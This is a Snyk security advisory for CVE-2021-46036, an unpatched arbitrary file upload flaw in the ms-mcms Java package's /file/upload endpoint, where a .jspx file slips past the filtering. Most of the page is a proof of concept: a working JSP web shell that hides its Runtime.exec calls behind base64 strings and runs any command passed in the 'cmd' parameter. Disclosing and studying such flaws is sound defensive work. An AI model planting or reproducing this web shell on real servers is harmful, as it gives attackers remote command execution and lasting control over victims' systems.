Arbitrary File Upload Affecting net.mingsoft:ms-mcms package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JAVA-NETMINGSOFT-2407592
- published20 Feb 2022
- disclosed20 Feb 2022
- creditHarry Smith
Introduced: 20 Feb 2022
CVE-2021-46036 (opens in a new tab)How to fix?
There is no fixed version for net.mingsoft:ms-mcms.
Overview
Affected versions of this package are vulnerable to Arbitrary File Upload via the /file/upload endpoint. A .jspx file will circumvent the filtering set in place and allow the attacker to get a webshell.
##PoC
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
if(request.getParameter("cmd")!=null){
BASE64Decoder decoder = new BASE64Decoder();
Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
Process e = (Process)
rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
Object[]{}), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>